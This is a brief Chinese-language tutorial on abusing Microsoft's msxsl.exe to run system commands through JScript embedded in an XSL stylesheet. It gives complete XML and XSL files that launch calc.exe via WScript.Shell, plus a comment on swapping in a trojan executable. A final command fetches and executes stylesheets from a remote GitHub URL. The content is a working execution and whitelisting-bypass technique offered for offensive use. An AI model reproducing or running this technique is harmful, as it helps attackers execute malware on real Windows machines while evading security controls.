1.需要用到微软工具MSXSL.exe,msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令,其下载地址为:
https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714
2.执行该工具需要用到2个文件,分别为XML及XSL文件,其命令如下:
msxsl.exe test.xml exec.xsl
test.xml:
<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="exec.xsl" ?> <customers> <customer> <name>Microsoft</name> </customer> </customers>
exec.xsl
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); //这里可以改造为执行你的木马文件如: // var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c: & shell.exe"); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml(.)"/> </xsl:template> </xsl:stylesheet>
3.最终执行结果为:
4.也可以远程执行:
msxsl.exe https://raw.githubusercontent.com/backlion/demo/master/test.xml https://raw.githubusercontent.com/backlion/demo/master/exec.xsl